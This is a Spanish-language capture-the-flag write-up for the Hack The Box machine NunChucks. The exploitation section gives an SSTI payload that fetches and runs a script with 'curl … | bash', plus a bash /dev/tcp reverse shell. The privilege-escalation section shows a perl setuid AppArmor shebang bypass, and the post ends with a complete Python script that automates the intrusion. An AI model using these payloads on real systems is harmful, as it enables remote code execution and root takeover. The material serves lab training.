Inicio NunChucks HTB Write-up
Entrada
Cancelar

NunChucks HTB Write-up

Resumen

Saludos, en esta oportunidad vamos a resolver la máquina de Hack The Box llamada NunChucks, la cual tiene una dificultad easy. Para lograr vulnerarla realizaremos lo siguiente:

  • Enumeración del sistema y subdominios.
  • SSTI.
  • AppArmor Bypass (Shebang).
  • Automatización de la intrusión.

Reconocimiento y Enumeración

En primer lugar, se comprueba la correcta conexión en la VPN con la máquina utilizando ping:

1
2
3
4
ping -c 1 10.10.11.122

PING 10.10.11.122 (10.10.11.122) 56(84) bytes of data.
64 bytes from 10.10.11.122: icmp_seq=1 ttl=63 time=143 ms

Se observa que existe una correcta conexión con la máquina.

Para realizar un reconocimiento activo se utilizará la herramienta nmap, en búsqueda de puertos abiertos en todo el rango (65535) y aplicando el parámetro -sS el cual permite aumentar el rendimiento del escaneo, haciendo que las conexiones no se realicen totalmente (haciendo solo syn syn-ack):

1
sudo nmap -p- -sS --open -min-rate 5000 10.10.10.239 -oG Port

Al finalizar el escaneo, se pueden observar los puertos abiertos de la máquina víctima:

1
2
3
4
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Realizamos un escaneo de los servicios expuestos utilizando nmap:

1
sudo nmap -sCV -p22,80,443 10.10.11.122 -oN ServiceScan

Como resultado del escaneo tenemos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 6c146dbb7459c3782e48f511d85b4721 (RSA)
|   256 a2f42c427465a37c26dd497223827271 (ECDSA)
|_  256 e18d44e7216d7c132fea3b8358aa02b3 (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://nunchucks.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
| tls-nextprotoneg: 
|_  http/1.1
|_http-title: Nunchucks - Landing Page
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
| Not valid before: 2021-08-30T15:42:24
|_Not valid after:  2031-08-28T15:42:24
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.18.0 (Ubuntu)
| tls-alpn: 
|_  http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Observamos http y https, utilizaremos whatweb para enumerar información:

1
2
3
4
whatweb 10.10.11.122

http://10.10.11.122 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.122], RedirectLocation[https://nunchucks.htb/], Title[301 Moved Permanently], nginx[1.18.0]
ERROR Opening: https://nunchucks.htb/ - no address for nunchucks.htb

Observamos que existe el dominio nunchucks.htb, lo agregaremos al /etc/hosts en caso de que se esté realizando virtual hosting.

1
2
3
4
5
6
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters
10.10.11.122    nunchucks.htb

Haciendo posible ahora la comunicación.

1
2
3
4
5
whatweb 10.10.11.122

http://10.10.11.122 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.122], RedirectLocation[https://nunchucks.htb/], Title[301 Moved Permanently], nginx[1.18.0]

https://nunchucks.htb/ [200 OK] Bootstrap, Cookies[_csrf], Country[RESERVED][ZZ], Email[support@nunchucks.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.122], JQuery, Script, Title[Nunchucks - Landing Page], X-Powered-By[Express], nginx[1.18.0]

Observamos ahora más información de la página, vamos a entrar utilizando el navegador:

Es una página estática, sin embargo, tiene una sección de login

Sin embargo, no funciona. La de registro tampoco funciona, lo que nos hace pensar que quizas no es por aqui. si realizamos fuzzing no encontraremos nada interesante en este punto. Por lo tanto, buscaremos posibles subdominios:

1
2
3
4
5
6
7
wfuzz -c --hc=404,403 --hh=30587 -w /home/kali/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.nunchucks.htb" -t 200 https://nunchucks.htb

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                           
=====================================================================

000000081:   200        101 L    259 W      4028 Ch     "store" 

Ocultando el codigo 404 y el largo de 30587, pues esta página tenía gran cantidad de direcciones que no llevaban a ningún lado.

Tenemos entonces un subdominio llamado store, vamos a revisarlo:

Tenemos una sección para enviar algo, vamos a probarla:

Explotación

Observamos que en la respuesta You will receive updates on the following email address: test@test.com. está nuestro imput, quiere decir que al menos si se está realizando la petición, utilizaremos Burpsuite para analizar:

Observamos que nuestro imput se reconoce allá, si probamos diferentes injecciones nos daremos cuenta que al parecer no es vulnerable, hasta que intentamos con SSTI, si vamos a la página de HackTricks, encontraremos varias formas de probar SSTI, probaremos con la primera:

Observamos que el resultado es 49, lo que hace vulnerable a SSTI al sitio, ahora tenemos que identificar a qué tipo pertenece.

Si provocamos un error vemos lo siguiente:

Observamos /var/www/store.nunchucks/node_modules/ lo que nos dice que se trata de un servidor utilizando node.js.

Otra forma puede ser utilizando wappalyzer:

Bien, si filtramos por node.js en la web de HackTricks encontramos diversos, pero hay uno que tiene un nombre particular y si probamos cada uno de los test darán todos como debería:

Vamos a intentar utilizar el primer payload:

Utilizando backslash escapamos las comillas dobles y al enviarlo vemos que ha listado correctamente el archivo /etc/passwd, por lo tanto, ahora solo falta ganar acceso.

Para ello utilizaremos el siguiente comando (va en doble llave):

1
range.constructor(\"return global.process.mainModule.require('child_process').execSync('curl 10.10.14.17 | bash')\")()

Haremos una petición a nuestro servidor http, el cual estará compartiendo este archivo index.html:

1
#!/bin/bash bash -i >& /dev/tcp/10.10.14.17/1235 0>&1 

Y a su vez, estaremos escuchando con netcat por el puerto 1235, si mandamos la información:

1
2
3
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.122 - - [12/Feb/2023 01:13:05] "GET / HTTP/1.1" 200 -

Y en el netcat:

1
2
3
4
5
6
nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.11.122] 43250
bash: cannot set terminal process group (1005): Inappropriate ioctl for device
bash: no job control in this shell
david@nunchucks:/var/www/store.nunchucks$ 

¡Bien!, estamos dentro de la máquina, buscamos la flag:

1
2
3
david@nunchucks:~$ cat user.txt
cat user.txt
e707026421f7744f3c6c7a7a6

Excelente ahora toca escalar privilegios.

Escalada de privilegios

1
2
3
4
5
6
7
8
9
10
11
12
13
david@nunchucks:~$ id
uid=1000(david) gid=1000(david) groups=1000(david)
david@nunchucks:~$ sudo -l
[sudo] password for david: 
Sorry, try again.
[sudo] password for david: 
sudo: 1 incorrect password attempt
david@nunchucks:~$ netstat -nat

Command 'netstat' not found, but can be installed with:

apt install net-tools
Please ask your administrator.

No podemos ver los privilegios porque no tenemos la contraseña.

Si buscamos por SUID encontramos cosas:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
david@nunchucks:~$ find / -perm -4000 2>/dev/null
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/at
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/su
/usr/bin/sudo
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/sbin/pppd

Sin embargo, no utilizaremos pkexec para escalar privilegios.

Podríamos ver las capabilities:

1
2
3
4
5
6
7
8
david@nunchucks:~$ getcap -r / 2>/dev/null
/usr/bin/perl = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

david@nunchucks:~$ 

Observamos la capabilitie setuid para perl, buscamos en gtfobins para ver si hay posibilidad de escalar privilegios:

Vemos una forma de ejecutar comandos de forma privilegiada con esto:

1
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

Vamos a intentarlo:

1
david@nunchucks:~$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

Sin embargo, no ocurre nada. Si probamos con otro comando:

1
2
david@nunchucks:~$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'
root

En este caso si lo ejecuta.

1
2
david@nunchucks:~$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "ls /root/";'
ls: cannot open directory '/root/': Permission denied

Y ahora no.

1
2
david@nunchucks:~$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "ls -la /root/root.txt";'
-r-------- 1 root root 33 Feb 14 05:17 /root/root.txt

Y ahora si, esto nos hace pensar que de alguna forma hay reglas definidas para qué cosas puedes hacer o puede ver. Si buscamos en la web encontramos que existe, por ejemplo, SELinux, que es un módulo de seguridad para el kernel de linux. Si buscamos algunas variantes de esto encontramos AppArmor, el cual funciona como un módulo de seguridad, sin embargo, restringe las capacidades de un programa y permite administrar todo eso. Podría ser que se esté aplicando, vamos a buscar si encontramos algo de eso en la máquina.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
david@nunchucks:/etc/apparmor$ find / -name *apparmor* 2>/dev/null | grep -vE "var|proc|sys"
/usr/share/doc/apparmor-notify
/usr/share/doc/apparmor
/usr/share/doc/python3-apparmor
/usr/share/doc/libapparmor-perl
/usr/share/doc/apparmor-easyprof
/usr/share/doc/python3-libapparmor
/usr/share/doc/libapparmor1
/usr/share/doc/apparmor-utils
/usr/share/apport/package-hooks/source_apparmor.py
/usr/share/lintian/overrides/apparmor-notify
/usr/share/lintian/overrides/apparmor
/usr/share/lintian/overrides/python3-apparmor
/usr/share/lintian/overrides/libapparmor-perl
/usr/share/lintian/overrides/apparmor-easyprof
/usr/share/lintian/overrides/python3-libapparmor
/usr/share/lintian/overrides/libapparmor1
/usr/share/lintian/overrides/apparmor-utils
/usr/src/linux-headers-5.4.0-86/security/apparmor
/usr/src/linux-headers-5.4.0-81-generic/include/config/security/apparmor
/usr/src/linux-headers-5.4.0-81-generic/include/config/security/apparmor.h
/usr/src/linux-headers-5.4.0-81-generic/include/config/default/security/apparmor.h
/usr/src/linux-headers-5.4.0-86-generic/include/config/security/apparmor
/usr/src/linux-headers-5.4.0-86-generic/include/config/security/apparmor.h
/usr/src/linux-headers-5.4.0-86-generic/include/config/default/security/apparmor.h
/usr/src/linux-headers-5.4.0-81/security/apparmor
/etc/apparmor.d
/etc/apparmor.d/abstractions/apparmor_api
/etc/apparmor.d/tunables/apparmorfs
/etc/xdg/autostart/apparmor-notify.desktop
/etc/apparmor
/etc/rcS.d/S01apparmor
/etc/init.d/apparmor

Encontramos cosas sobre apparmor, lo que quiere decir que si se está aplicando en este caso.

Entraremos al /etc/apparmor.d:

1
2
3
4
david@nunchucks:/etc/apparmor$ cd /etc/apparmor.d
david@nunchucks:/etc/apparmor.d$ ls
abstractions  disable  force-complain  local  lsb_release  nvidia_modprobe  sbin.dhclient  tunables  usr.bin.man  usr.bin.perl  usr.sbin.ippusbxd  usr.sbin.mysqld  usr.sbin.rsyslogd  usr.sbin.tcpdump
david@nunchucks:/etc/apparmor.d$ 

Podemos que se encuentra el usr.bin.perl:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# Last Modified: Tue Aug 31 18:25:30 2021
#include <tunables/global>

/usr/bin/perl {
  #include <abstractions/base>
  #include <abstractions/nameservice>
  #include <abstractions/perl>

  capability setuid,

  deny owner /etc/nsswitch.conf r,
  deny /root/* rwx,
  deny /etc/shadow rwx,

  /usr/bin/id mrix,
  /usr/bin/ls mrix,
  /usr/bin/cat mrix,
  /usr/bin/whoami mrix,
  /opt/backup.pl mrix,
  owner /home/ r,
  owner /home/david/ r,

}

Acá podemos ver los permisos que tienen definidos para este binario, en este punto debemos pensar en encontrar una forma de burlar esta seguridad, vamos a buscar algun bug o falla de este sistema por la web, encontramos en la web de HackTricks una forma de bypass de apparmor, la cual es hacer uso del Shebang, que corresponde a las cabeceras en los archivos tipo !#/bin/bash, esto quiere decir que podemos ejecutar con perl un archivo si utilizamos la cabecera, y apparmor no nos limitará. Para esto crearemos el siguiente archivo:

1
2
3
#!/usr/bin/perl

use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";

Llamaremos a este archivo test.sh, si lo ejecutamos:

1
2
3
david@nunchucks:~$ ./test.sh
# whoami
root

De esta forma burlamos el apparmor y pudimos cambiarnos el uid a 0 y spawnear un shell. Siendo ya root buscamos la flag:

1
2
3
 cat root.txt
a275bba6e914afcf25ff7bef2d

¡Listo! Nos hemos convertido en administrador.

Antes de terminar, como extra haremos la automatización de la intrusión en python.

Las librerías son las siguientes:

1
2
import requests,subprocess,socket
from pwn import *

Las variables globales son:

1
2
3
ipHost = sys.argv[1]
nunIP = 'https://store.nunchucks.htb/api/submit'
s = requests.Session()

Luego, tenemos la primera función que se encarga de escribir en un archivo llamado index.html, el cual lleva el código para entablar la conexión hacia nuestra máquina:

1
2
3
4
5
6
7
def html_payload():

    with open("index.html","w") as file:
        Shebang = "#!/bin/bash\n"
        payload =f'bash -i >& /dev/tcp/{ipHost}/1234 0>&1'
        file.write(Shebang)
        file.write(payload)

La siguiente funición se encarga de explotar el SSTI:

1
2
3
4
5
6
7
8
def ssti():
    payload = """ {\{range.constructor(\"return global.process.mainModule.require('child_process').execSync('curl %s | bash')\")()}} """ % ipHost
    # el primer backslash del payload no va, es solo para que la sintaxis de md me deje poner el payload.
    post_data = { 
        "email": payload
     }
    print("[+] Explotando el SSTI")
    r = s.post(nunIP,data=post_data,verify=False)

La última función corresponde a la del servidor http:

1
2
3
4
5
6
7
8
def http_server():

    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as so:
            so.bind(('localhost', 80))
            http_server = subprocess.Popen(["python3", "-m", "http.server", "80"])
    except OSError:
            print("\n[-] El puerto 80 se encuentra en uso, no se ha podido ejectuar el servidor")

Finalmente, tenemos el main:

1
2
3
4
5
6
7
8
9
if __name__ == '__main__':

    print("[!] Recuerda agregar el dominio nunchucks.htb y store.nunchucks.htb a tu /etc/hosts.")
    html_payload()
    sleep(2)   
    http_server()
    threading.Thread(target=ssti, args=()).start()
    shell = listen(1234,timeout=20).wait_for_connection()
    shell.interactive()

Acá tenemos las llamadas a las funciones.

El código completo es el siguiente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import requests,subprocess,socket
from pwn import *

def def_handler(sig, frame):
    print("\n\n[!] saliendo...\n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

if len(sys.argv) < 2:
    print(f'[!] Uso: python3 {sys.argv[0]} "Tu IP"\n' )
    sys.exit(1)

ipHost = sys.argv[1]
nunIP = 'https://store.nunchucks.htb/api/submit'
s = requests.Session()

def html_payload():

    with open("index.html","w") as file:
        Shebang = "#!/bin/bash\n"
        payload =f'bash -i >& /dev/tcp/{ipHost}/1234 0>&1'
        file.write(Shebang)
        file.write(payload)

def ssti():
    payload = """ {\{range.constructor(\"return global.process.mainModule.require('child_process').execSync('curl %s | bash')\")()}} """ % ipHost
    # el primer backslash del payload no va, es solo para que la sintaxis de md me deje poner el payload.
    post_data = { 
        "email": payload
     }
    print("[+] Explotando el SSTI")
    r = s.post(nunIP,data=post_data,verify=False)

def http_server():

    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as so:
            so.bind(('localhost', 80))
            http_server = subprocess.Popen(["python3", "-m", "http.server", "80"])
    except OSError:
            print("\n[-] El puerto 80 se encuentra en uso, no se ha podido ejectuar el servidor")


if __name__ == '__main__':

    print("[!] Recuerda agregar el dominio nunchucks.htb y store.nunchucks.htb a tu /etc/hosts.")
    html_payload()
    sleep(2)   
    http_server()
    threading.Thread(target=ssti, args=()).start()
    shell = listen(1234,timeout=20).wait_for_connection()
    shell.interactive()

¡Listo! Terminamos la automatización de la intrusión.

Nos vemos, hasta la próxima.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.